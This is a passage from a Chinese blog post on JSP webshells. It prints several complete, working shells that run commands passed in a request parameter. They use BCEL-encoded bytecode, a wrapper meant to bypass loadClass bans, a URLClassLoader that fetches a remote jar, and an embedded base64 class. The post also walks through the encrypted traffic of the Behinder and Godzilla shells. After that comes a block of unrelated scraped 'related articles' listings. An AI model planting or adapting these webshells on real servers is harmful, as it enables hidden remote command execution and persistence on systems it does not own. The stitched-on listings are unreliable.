85$99$b5$85k$3a$5e$u$C$cfr$cd$a8$nw8q$e6$9d$d0q$9d$f0$80$ec$J$af$3a$8f$D$f4r$b7$e5$FQ$dft$H$a5P$QK$cc$_$87$f5$e3$beB$d3$W$f8$eb$c4$K$b4$a2$3c$b9$k$9e$e2$N$3f$cc_$85$c2$87$83$c55$c6$f7$8b$Y$e1$f5$ff$EO$7f$a2$83$ff$H$e0$f6$f8$n$94$p$b4m$j$o$b6x$Eu$eb$I$ed$5b$P$d11Q$81VA$fc$Q$9d$87$d0$97$a6$w$e8$da$ba$a1$fe$8e$c4$e4$90Z$81$918$c7e$f3$fbG$7f$8dOV$d0$fd3z$kD$B$9e$e4$3a$C$8dk7$7f9$3d0$I$e2$S$S0$91$c4$M$fa0$8f$7e$C$93$ff$af$u4$9e$c63$40$f46J$88$K$ed$a7i$ff$y$n$5e$a2$ee2R$f49I$f8c$d4$aa$Y$8fRi$7bD$a5$aaaB$c3$a4$86$v$NW$80$bf1$c8$T$c3$80f$K$9e$e3$c3$h$85$ab$cc$d4$e4$$Yh$l$ff$J$3d$3f$f0$a5$z$c2$d9$R$J$87$p$3cF$d5$a0$86$a7$T$d7$88$b0J$d3wD$a0r$bf$9e$e8$ad$e0$7c$oQA2Cj$$$fc$g_$9c$60$ea$7d$9b$93$eaC$f4$_$fd$88$81$g$87$89A2C$ba$M$f2R$c1$d0$83$93x$c3$8c$u$d9$e9$a2$df$E$r$83$8c$3c$c2$88$_3$a6$c40$5e$8d$83$X$f1$S$f7$$LQs$9d$b8$S$e4$e3$V$dc$a0$97$R$fa$98$s$T$b1$86DoF$R$5e$fd$X$cb$B$rU$g$I$A$A";response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString()).getBytes());
%>
</body>
</html>

三梦师傅对BCEL类加载器进行包装后:

<%@ page import="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data" %>
<%@ page import="java.io.ByteArrayInputStream" %>
<%@ page import="java.lang.reflect.Array" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.Provider.Service" %>
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="java.util.List" %>
<%@ page import="javax.activation.DataHandler" %>
<%@ page import="javax.activation.DataSource" %>
<%@ page import="javax.crypto.Cipher" %>
<%@ page import="javax.crypto.CipherInputStream" %>
<%@ page import="javax.crypto.CipherSpi" %>
<%@ page import="jdk.nashorn.internal.objects.Global" %>
<%@ page import="jdk.nashorn.internal.objects.NativeString" %>
<%@ page import="jdk.nashorn.internal.runtime.Context" %>
<%@ page import="jdk.nashorn.internal.runtime.options.Options" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.io.File" %>
<%@ page import="java.nio.file.Paths" %>
<html>
<body>
<h2>BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell</h2>
<%String tmp = System.getProperty("java.io.tmpdir");Files.write(Paths.get(tmp + File.separator + "CMD"), request.getParameter("threedr3am").getBytes());Class serviceNameClass = Class.forName("com.sun.xml.internal.ws.util.ServiceFinder$ServiceName");Constructor serviceNameConstructor = serviceNameClass.getConstructor(String.class, URL.class);serviceNameConstructor.setAccessible(true);Object serviceName = serviceNameConstructor.newInstance(new String(new byte[] {36,36,66,67,69,76,36,36,36,108,36,56,98,36,73,36,65,36,65,36,65,36,65,36,65,36,65,36,65,36,56,100,85,36,53,98,87,36,84,87,36,85,36,102,101,36,79,36,98,57,36,99,99,48,36,56,99,36,53,99,36,56,50,36,100,99,36,98,52,36,98,54,36,102,54,36,56,50,36,69,36,85,82,36,98,53,90,36,98,57,84,107,36,97,48,36,119,53,36,109,36,114,36,73,77,105,107,36,116,36,99,57,36,110,36,77,36,115,36,57,57,116,50,36,82,121,106,36,102,102,36,56,100,36,99,102,36,102,54,36,110,97,36,57,53,36,100,53,36,51,101,36,102,54,36,99,49,36,55,102,36,100,50,36,51,102,81,36,102,97,36,57,100,73,36,67,107,36,113,36,97,101,54,36,120,36,100,57,36,57,51,36,98,100,36,99,102,36,98,101,36,55,99,36,102,98,36,51,98,103,36,99,102,121,36,102,51,36,99,102,36,101,102,36,55,102,36,67,36,102,56,36,77,36,72,36,71,36,36,36,101,50,36,56,101,36,56,54,89,36,68,36,53,100,36,98,56,36,97,51,99,36,99,101,36,99,48,36,51,99,36,87,52,36,55,99,36,97,49,36,102,52,36,98,98,36,100,100,36,98,56,36,56,55,36,95,117,36,100,99,87,74,36,100,50,36,99,48,36,111,36,57,54,36,77,36,55,99,36,56,53,36,72,36,71,36,97,50,120,104,36,101,48,36,82,36,57,54,36,57,53,36,102,56,36,100,97,36,99,48,99,36,97,52,52,36,97,99,104,88,53,36,81,36,99,51,36,84,36,68,36,68,88,83,36,101,50,36,104,36,106,36,101,98,36,103,36,100,50,36,71,70,36,98,48,97,36,101,48,36,118,54,53,108,105,36,102,56,86,36,109,36,98,97,36,54,48,36,57,55,109,36,101,102,36,97,101,36,52,48,36,117,36,51,101,36,98,57,36,118,36,81,36,53,101,116,36,102,50,82,36,97,48,36,95,101,36,57,55,36,101,53,106,36,97,100,36,57,52,36,57,53,36,101,101,36,56,54,36,57,53,36,122,36,100,50,36,83,75,57,57,36,97,98,36,98,56,105,36,98,57,36,98,54,36,100,50,36,53,98,36,99,54,36,98,48,36,98,55,107,87,36,57,53,36,102,55,36,99,54,36,97,101,36,120,101,36,100,101,36,98,100,105,36,57,53,36,57,101,36,53,100,36,98,102,53,36,95,36,97,48,36,95,36,101,52,36,56,97,36,101,100,36,98,99,36,53,101,36,97,57,36,97,50,36,99,50,36,102,55,36,97,99,36,88,86,36,97,50,104,36,57,53,36,76,36,56,57,36,98,52,36,101,55,36,100,97,36,101,53,36,67,36,98,100,66,36,98,57,82,36,53,101,36,97,48,36,99,55,36,36,87,106,36,107,36,56,100,36,100,50,36,119,36,74,36,77,53,36,106,109,36,116,36,98,49,36,55,99,106,36,97,54,111,111,36,98,54,36,98,54,36,98,51,36,112,36,53,100,36,57,57,95,36,57,55,86,36,53,101,36,98,97,36,67,36,97,51,36,116,36,56,101,36,99,57,36,99,48,36,75,36,55,100,36,99,51,36,97,99,77,116,66,36,57,101,36,97,52,36,102,51,36,101,98,36,83,36,97,52,36,98,51,36,97,102,36,56,48,36,100,51,36,101,53,36,53,99,36,100,53,36,72,36,57,49,36,97,99,36,100,57,69,36,51,102,36,100,98,36,100,56,36,90,36,55,99,36,97,100,36,114,36,101,53,36,57,98,36,102,54,36,97,99,36,100,99,36,102,51,36,86,36,97,98,36,101,50,119,36,99,100,36,78,36,101,50,36,57,101,104,36,99,56,36,102,56,52,36,97,55,36,70,36,56,99,36,98,52,83,115,115,36,102,50,36,56,49,36,101,100,36,100,51,36,85,36,54,48,98,70,36,114,53,36,102,49,36,107,36,36,36,74,36,56,99,36,98,99,36,97,51,36,65,36,53,98,83,36,120,51,36,98,54,51,67,36,97,54,36,102,50,36,98,54,36,97,98,36,101,49,36,51,98,36,84,36,100,98,36,102,56,36,53,101,36,97,48,36,102,102,36,101,100,36,81,36,84,36,51,102,36,101,48,71,36,78,36,99,102,76,36,102,99,36,56,52,113,36,102,50,36,98,55,36,98,56,36,98,50,100,36,99,50,66,86,67,36,99,101,68,36,107,36,99,52,36,98,54,99,36,97,50,36,56,48,36,53,100,85,36,100,50,36,100,54,36,98,48,103,36,101,50,57,36,56,97,36,115,74,36,117,107,112,76,84,36,102,48,36,98,51,36,99,48,112,103,36,100,97,72,65,36,72,36,101,50,36,57,98,107,36,119,36,57,100,36,95,36,97,97,36,115,36,51,99,100,36,99,57,36,97,99,36,110,48,36,100,56,36,56,49,88,36,84,53,36,53,99,36,100,50,36,102,48,36,99,50,36,99,52,36,51,101,36,53,101,36,57,50,36,98,56,36,65,36,90,36,56,49,36,55,101,36,57,101,100,36,102,55,100,36,99,101,107,103,36,74,36,87,36,78,54,36,55,101,80,36,102,53,36,113,77,36,51,100,36,70,36,101,57,36,97,100,36,98,57,78,69,36,98,97,36,100,101,36,56,49,36,99,48,36,57,53,36,102,56,36,100,57,36,102,51,52,36,100,57,36,101,57,36,56,56,69,36,97,100,74,69,36,57,54,121,36,99,97,36,97,54,36,102,102,87,36,99,52,36,101,57,36,97,54,36,57,98,109,36,54,48,36,99,100,36,55,100,36,101,100,36,97,101,36,99,97,36,56,97,36,101,53,90,36,57,101,67,36,97,50,116,36,99,102,105,122,36,76,36,57,99,36,56,102,119,36,97,99,36,100,97,36,101,99,36,97,97,36,99,99,36,101,56,36,106,70,36,116,36,100,54,36,121,111,36,57,55,99,36,83,98,36,76,36,67,36,102,51,36,106,36,56,48,108,36,98,102,36,84,36,53,98,36,109,36,99,55,36,100,57,36,99,99,36,75,36,105,51,36,57,98,36,97,52,36,122,36,55,102,36,98,102,88,76,36,107,120,74,36,106,36,56,100,119,36,75,36,57,101,36,100,99,78,36,75,68,36,101,50,36,100,98,73,53,36,101,55,36,68,36,97,55,36,70,36,100,55,107,101,36,99,102,36,36,36,98,49,71,36,56,51,36,102,56,78,36,57,52,36,97,49,36,52,48,103,36,122,36,98,51,36,57,97,36,122,36,102,57,82,36,101,54,36,69,36,115,36,102,101,36,56,51,78,110,85,78,86,36,97,98,36,102,51,36,56,49,74,36,122,36,112,79,36,51,99,36,120,36,70,54,36,55,99,36,97,52,36,53,100,36,101,100,36,99,99,36,100,99,36,98,55,36,55,98,121,107,65,36,102,53,48,120,36,98,97,36,100,52,36,103,36,55,100,101,36,100,53,36,86,36,88,36,118,36,102,102,36,70,36,100,48,87,36,110,36,36,36,99,102,36,57,102,36,100,101,36,78,36,100,55,36,99,97,36,99,57,36,65,36,57,56,36,101,53,36,98,50,36,116,36,76,36,101,97,36,100,99,36,101,98,36,100,99,36,100,56,36,97,97,36,97,52,36,97,97,36,57,97,36,101,101,36,100,48,36,100,53,50,36,51,101,36,99,52,36,70,36,98,101,36,57,97,36,100,53,36,97,55,36,76,66,77,51,36,101,53,36,102,98,36,100,52,36,83,36,55,99,36,75,36,51,101,36,112,83,36,78,36,56,56,36,100,55,36,102,101,36,102,50,36,72,36,57,52,81,36,100,102,36,100,56,36,56,51,36,99,98,36,57,52,102,36,100,51,36,56,49,36,118,36,51,101,36,101,50,83,36,99,55,36,99,55,36,101,100,36,54,48,36,102,49,36,57,48,36,100,54,36,117,109,36,98,102,36,107,36,97,49,36,120,36,100,51,36,52,48,36,101,56,113,36,121,36,55,99,36,56,56,72,36,101,97,36,73,36,100,49,76,36,99,98,114,36,98,53,36,79,36,101,100,55,36,101,56,36,57,52,36,98,49,110,36,56,97,36,51,97,36,56,99,36,100,48,36,108,36,56,56,36,107,36,97,50,36,101,55,36,81,102,36,68,36,101,55,86,36,79,36,100,49,36,55,98,36,97,100,36,56,101,36,98,101,36,51,97,36,102,97,87,36,56,102,48,36,99,48,36,97,56,88,102,36,98,97,36,56,49,36,99,49,36,71,36,99,101,36,99,102,36,56,53,36,99,55,36,99,50,117,36,77,101,36,101,54,36,111,36,55,102,36,110,54,53,36,87,81,36,118,36,56,54,36,118,36,98,54,36,53,101,36,106,36,102,102,36,102,100,36,75,122,36,56,97,36,57,57,71,36,97,55,36,57,56,36,101,102,36,81,99,36,53,98,36,97,102,36,56,57,71,36,56,55,36,68,36,57,55,87,67,36,99,56,36,99,55,36,55,102,36,56,51,36,97,56,36,56,49,36,53,101,90,36,102,98,36,118,36,72,48,36,99,98,36,57,98,100,36,74,36,56,51,36,98,99,53,36,56,54,36,102,56,36,100,101,36,90,36,97,54,36,101,102,36,70,122,36,56,102,36,97,50,36,56,97,49,36,99,101,36,102,57,69,36,102,99,66,74,84,36,97,102,36,56,102,36,97,48,36,100,49,36,100,102,36,99,50,36,116,36,89,103,36,99,101,89,36,100,99,36,99,54,36,86,36,102,101,36,101,98,98,36,101,99,85,76,36,109,36,99,101,36,101,99,79,36,90,57,36,56,57,36,118,36,56,52,36,102,57,36,107,36,56,98,36,100,49,36,51,97,78,36,79,36,97,97,36,100,52,36,97,101,97,36,100,97,71,36,98,49,36,56,102,36,90,36,57,50,36,75,36,55,99,36,99,97,36,100,102,36,69,36,99,50,36,99,55,36,77,36,56,56,104,36,98,56,36,97,101,36,101,49,36,56,54,36,102,102,36,98,100,36,97,57,36,102,49,36,57,97,36,99,52,49,36,99,98,36,75,90,36,56,49,36,97,52,36,56,54,36,53,98,97,36,71,36,100,101,36,102,54,36,97,57,36,102,102,36,102,99,95,36,98,53,36,51,100,36,102,101,36,116,74,36,72,36,65,36,65}), null);Object serviceNameArray = Array.newInstance(serviceNameClass, 1);Array.set(serviceNameArray, 0, serviceName);Class lazyIteratorClass = Class.forName("com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator");Constructor lazyIteratorConstructor = lazyIteratorClass.getDeclaredConstructors()[1];lazyIteratorConstructor.setAccessible(true);Object lazyIterator = lazyIteratorConstructor.newInstance(String.class, new ClassLoader());Field namesField = lazyIteratorClass.getDeclaredField("names");namesField.setAccessible(true);namesField.set(lazyIterator, serviceNameArray);Constructor cipherConstructor = Cipher.class.getDeclaredConstructor(CipherSpi.class, Service.class, Iterator.class, String.class,List.class);cipherConstructor.setAccessible(true);Cipher cipher = (Cipher) cipherConstructor.newInstance(null, null, lazyIterator, null, null);Field opmodeField = Cipher.class.getDeclaredField("opmode");opmodeField.setAccessible(true);opmodeField.set(cipher, 1);Field initializedField = Cipher.class.getDeclaredField("initialized");initializedField.setAccessible(true);initializedField.set(cipher, true);CipherInputStream cipherInputStream = new CipherInputStream(new ByteArrayInputStream(new byte[0]), cipher);Class xmlDataSourceClass = Class.forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource");Constructor xmlDataSourceConstructor = xmlDataSourceClass.getDeclaredConstructors()[0];xmlDataSourceConstructor.setAccessible(true);DataSource xmlDataSource = (DataSource) xmlDataSourceConstructor.newInstance("", cipherInputStream);DataHandler dataHandler = new DataHandler(xmlDataSource);Base64Data base64Data = new Base64Data();Field dataHandlerField = Base64Data.class.getDeclaredField("dataHandler");dataHandlerField.setAccessible(true);dataHandlerField.set(base64Data, dataHandler);Constructor NativeStringConstructor = NativeString.class.getDeclaredConstructor(CharSequence.class, Global.class);NativeStringConstructor.setAccessible(true);NativeString nativeString = (NativeString) NativeStringConstructor.newInstance(base64Data, new Global(new Context(new Options(""), null, null)));try {new HashMap<>().put(nativeString, "111");} catch (Throwable e) {response.getOutputStream().write(e.getCause().getMessage().getBytes());}
%>
</body>
</html>

URLClassLoader远程加载

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<html>
<body>
<h2>URLClassLoader加载远程jar的JSP Webshell</h2>
<%response.getOutputStream().write(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:80/threedr3am.jar")}).loadClass("Threedr3am_4").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("threedr3am"))).toString().getBytes());
%>
</body>
</html>

三梦师傅利用 VersionHelper 包装后:

<%@ page import="com.sun.naming.internal.VersionHelper" %>
<%@ page import="java.io.File" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.util.Base64" %>
<html>
<body>
<h2>VersionHelper包装的URLClassLoader类加载器的JSP WebShell</h2>
<%String tmp = System.getProperty("java.io.tmpdir");String jarPath = tmp + File.separator + "Evil16.class";Files.write(Paths.get(jarPath), Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhMRXZpbDE2OwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQALRXZpbDE2LmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAGRXZpbDE2BwBwDABxAHIBAAxFdmlsMTYuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAACwAEAAwADAANACUADwAvABAAPgASAEYAEwAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAFwAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAGwALABwAEgAdABgAHgAgAB8AJwAgACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ"));response.getOutputStream().write(VersionHelper.getVersionHelper().loadClass("Evil16", "file:" + tmp + File.separator).getConstructor(String.class).newInstance(request.getParameter("cmd")).toString().getBytes());
%>
</body>
</html>

流量加密

冰蝎

下面是冰蝎jsp马去掉加密功能后的内容,可以看到就是使用了上面所说的自定义类继承Classloader来动态加载字节码,进行newInstance实例化,调用该恶意对象的equals方法,并且传入pageContext实现命令执行的。

<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}if (request.getParameter("pass") != null)new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);
%>

冰蝎2中通过动态密钥协商,每个cookie对应生成各自的密钥,进行流量加密

if (request.getParameter("pass")!=null) {  //判断请求方法是不是带密码的握手请求,此处只用参数名作为密码,参数值可以任意指定String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16);  //随机生成一个16字节的密钥request.getSession().setAttribute("uid", k); //将密钥写入当前会话的Session中out.print(k); //将密钥发送给客户端return; //执行流返回,握手请求时,只产生密钥,后续的代码不再执行
}
/*
当请求为非握手请求时,执行下面的分支,准备解密数据并执行
*/
String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payload
byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); //把payload进行base64解码
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件
c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); //从Session中取出密钥
byte[] classData= c.doFinal(encryptedData);  //AES解密操作

冰蝎3中则是使用固定的密钥加密,去掉了协商过程(明文pass和返回的密钥),全密文传输

if (request.getMethod().equals("POST")) {String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u", k);Cipher c = Cipher.getInstance("AES");c.init(2, new SecretKeySpec(k.getBytes(), "AES"));

哥斯拉

这里以v4.01的jsp马为例

和冰蝎一样的类加载方法

把AES、md5加密和base64加解密做了反射调用的函数封装

主体部分就这么点

<%String xc = "3c6e0b8a9c15224a";String pass = "pass";String md5 = md5(pass + xc);try {byte[] data = base64Decode(request.getParameter(pass));data = x(data, false);if (session.getAttribute("payload") == null) {session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));} else {request.setAttribute("parameters", data);java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();Object f = ((Class) session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0, 16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));}} catch (Exception e) {}
%>

哥斯拉的流量加密过程:

AES的密钥是xc(key进行md5加密的32位结果,截取前16位),生成的MD5只用作返回结果的前后脏数据

pass字段传入的数据进行base64和AES解密,赋值给data通过session中有没有payload属性判断是否第一次访问shell。

第一次请求:把传入的data的Class对象(此时的data是加密后的payload.class 就是一堆具体的功能实现函数)放入payload。

第二次请求:测试连接,调用payload类的test方法

下图为3.0之前的版本payload解密之后,methodName=test

在4.01的版本多了一个formatParameter函数的加密,主要是用GZIPOutputStream对数据做了压缩。

payload#formatParameter

返回包的内容是两段加密后的字符中间加上加密后的执行结果: OK

第三次请求:获取服务器基本信息,调用Payload类的getBasicsInfo方法

加密过程如下:

data -> aes加密 ->  base64编码 ->  url编码

命令执行的逻辑在payload的equals,toString方法那

equals调用handle方法根据传入的对象类型赋值给对应的变量,noLog方法清空日志

toString主要是用来调用run方法,然后清空request的parameters属性。

具体的实现逻辑推荐阅读:

Java WebShell3—哥斯拉源码分析

哥斯拉流量加解密浅析(jsp篇)

参考:

https://xz.aliyun.com/t/11368

https://www.anquanke.com/post/id/214435

https://xz.aliyun.com/t/7798

Javaweb安全——JSP Webshell相关推荐

  1. java 打开jsp文件_jsp文件怎么打开(java-web中jsp的理解)

    jsp文件怎么打开(java-web中jsp的理解)JSP:Java Server Pages.JSP是一种网页的编码格式,不同于HTML的是JSP中是由 HTML中的标签指令 和 Java逻辑代码 ...

  2. javaweb(08) jsp(了解)

    javaweb(08) jsp(了解) jsp简介 简介 Java Server Page jsp本质是一个Servlet,Servlet能做的事情jsp都能做 jsp能够以HTML页面的方式呈现数据 ...

  3. javaweb JAVA JSP水费管理系统JSP电费管理系统JSP缴费管理系统JSP水费缴费系统JSP水电费管理

    javaweb JAVA JSP水费管理系统JSP电费管理系统JSP缴费管理系统JSP水费缴费系统JSP水电费管理 登录控制层: public class LoginController {priva ...

  4. 基于javaweb+jsp的设备维修管理系统(JavaWeb MySQL JSP Bootstrap Servlet SSM SpringBoot)

    基于javaweb+jsp的设备维修管理系统(JavaWeb MySQL JSP Bootstrap Servlet SSM SpringBoot) JavaWeb JavaBean JSP MVC ...

  5. java webshell_都0202年了老嗨还在用的 - 各种姿势jsp webshell

    最近,我的朋友"老嗨",他参加了一个某云举办的号称可能史上最强的使用了AI技术的Webshell检测系统挑战赛...因为我没什么时间去搞这个,所以,我把我珍藏多年,姿势比较多的JS ...

  6. JavaWeb、JSP、Html实现指定账号密码登录

    (JDBC学习)JavaWeb.JSP.Html实现指定账号密码登录 作者想说的话 环境配置要求 创建项目与Tomcat配置 1.创建Web新项目 2.Tomcat配置 3.添加Servlet依赖包 ...

  7. javaweb JAVA JSP在线考试系统网上考试系统jsp网上在线考核网站源码(在线考试报名)

    javaweb JAVA JSP在线考试系统网上考试系统jsp网上在线考核网站源码(在线考试报名) //查询所有角色public List<Role> queryAllRole(){ret ...

  8. javaweb JAVA JSP校园二手交易平台源码jsp二手交易系统 闲置物品出售

    javaweb JAVA JSP校园二手交易平台源码jsp二手交易系统 闲置物品出售交易网站案例源码 常见的Javaweb题材有 理财系统,就业管理系统,汽车租赁,简易网盘,疫情数据查看,在线招标房, ...

  9. 基于javaweb+jsp的鲜花花卉销售管理系统(JavaWeb MySQL JSP Bootstrap Servlet SSM SpringBoot)

    基于javaweb+jsp的鲜花花卉销售管理系统(JavaWeb MySQL JSP Bootstrap Servlet SSM SpringBoot) JavaWeb JavaBean JSP MV ...

  10. 基于javaweb+jsp的餐饮店信息管理系统(JavaWeb MySQL JSP Bootstrap Servlet SSM SpringBoot)

    基于javaweb+jsp的餐饮店信息管理系统(JavaWeb MySQL JSP Bootstrap Servlet SSM SpringBoot) JavaWeb JavaBean JSP MVC ...

最新文章

  1. Oracle排序排除null,oracle 排序(中文,null的处理)
  2. AWS — AWS Outposts
  3. c++ 读取txt文件保存到vect
  4. java Ext安装_eclipse中ext插件安装方法
  5. ubuntu nfs
  6. 大地SEO教程学习笔记之八:
  7. Java练习:tips.Print
  8. Arm-Linux 移植 ssh
  9. “生命游戏之父”因新冠肺炎逝世,回顾数学顽童的一生
  10. web跨域问题解决方案
  11. centos7 php多版本切换_CentOS7服务搭建----搭建私有云盘01
  12. delphi 热成像摄像机源代码_红外热成像技术广泛应用于夜间及恶劣气候下目标的监控...
  13. js html table转json 反向生成数据源
  14. 常见存储的串口连接管理方法
  15. python办公自动化价值是什么意思_办公自动化是什么意思,怎么实现?
  16. 什么是JavaBean、bean?
  17. mysql高效率sql统计_SQl多表查询优化 高效率SQL语句
  18. 中台化实践——优雅停机方案
  19. WSC——商务软件解决方案技能
  20. 第1章第19节:如何将完成的幻灯片打印到纸张上 [PowerPoint精美幻灯片实战教程]

热门文章

  1. bouncycastle
  2. 常见的磁盘格式以及它们之间的区别
  3. Windows端口 说明
  4. pandas使用速查表
  5. Spark MLlib数据挖掘2--基础统计分析
  6. 32位计算机处理64位数据,Win7 64位/32位电脑系统支持多大内存
  7. 查看源代码的几种方法
  8. java图片转单色位图_Android:将位图转换为单色位图(每像素1位)
  9. Java数据结构和算法-图
  10. 利用SHA-1算法和RSA秘钥进行签名验签(带注释)